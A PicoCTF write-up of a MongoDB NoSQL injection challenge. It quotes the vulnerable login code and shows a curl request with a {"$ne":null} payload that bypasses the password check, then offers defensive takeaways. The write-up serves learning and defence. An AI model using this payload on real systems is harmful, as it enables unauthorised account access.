← Back to Cybersecurity Projects
PicoCTF — Write-Up

No Sql Injection

Category:Web Exploitation
Points:n/a
Author:Kelvin Creighton
Difficulty:Medium
#curl#nosqli#web#mongodb#base64
01

Research

What is NoSQL Injection?

  • It occurs when user input is unsafely embedded into database queries in a NoSQL database (like MongoDB).
  • Unlike traditional SQL Injection, NoSQL injection often leverages data structures (like JSON objects) and operators (e.g., `$ne`, `$gt`).

Dangerous Patterns in Node.js/MongoDB

  • Using objects directly in queries: `User.find(req.body)`
  • Using `$where` with user input.
  • Using eval-like constructs.
02

Information Gathering

The challenge gives us access to a web application using Express, Body-Parser, and Mongoose for a MongoDB backend. The goal is to bypass the login logic and obtain the flag.

STEP 01Analyzing `server.js`

Looking at the provided source code, we identified the key components used: Express, Mongoose, and a local MongoMemoryServer instance.

We also found an initial user created: email: "picoplayer355@picoctf.org". The password is randomly generated but stored in plaintext in the DB, which is a bad practice.

STEP 02Identifying the Vulnerability
INPUTconst user = await User.findOne({ email: email.startsWith("{") && email.endsWith("}") ? JSON.parse(email) : email, password: password.startsWith("{") && password.endsWith("}") ? JSON.parse(password) : password, });

Reason: The code attempts to parse the `email` and `password` fields as JSON if they start and end with braces. This is a severe vulnerability as it allows us to supply MongoDB query operators (like `$ne`) as the password instead of a string, leading to a NoSQL Injection.

03

Creating the Payload

Since we know the target email (`picoplayer355@picoctf.org`) and the application processes JSON inputs into MongoDB queries, we can construct a request that bypasses the password check.

STEP 01Bypassing Authentication with `$ne`
INPUTcurl -s -X POST http://[target]/login -H 'Content-Type: application/json' -d '{"email":"picoplayer355@picoctf.org","password":"{\"$ne\":null}"}'
OUTPUT{"success":true,"email":"picoplayer355@picoctf.org","token":"cGljb0NURntqQmhEMnk3WG9OelB2XzFZeFM5RXc1cUwwdUk2cGFzcWxfaW5qZWN0aW9uXzc4NGU0MGU4fQ==","firstName":"pico","lastName":"player"}

Reason: The payload `{\"$ne\":null}` translates to "not equal to null". Since every user has a password, this condition is true. The database finds the user matching the email and a non-null password, granting us access.

STEP 02Decoding the Token

The response contains a `token` field that looks like base64. Decoding it yields the flag.

04

Key Takeaways

  • Never parse user input directly into query objects without strict validation or sanitization.
  • Storing passwords in plaintext (even if randomly generated) violates basic security principles. Always use strong hashing algorithms like bcrypt.
  • Understanding how the backend framework (like Mongoose) handles complex objects is crucial for identifying NoSQL injections.
FF

Flag

Captured Flag
[REDACTED]
Kelvin Creighton — PicoCTF Write-UpAll steps performed in a legal CTF environment.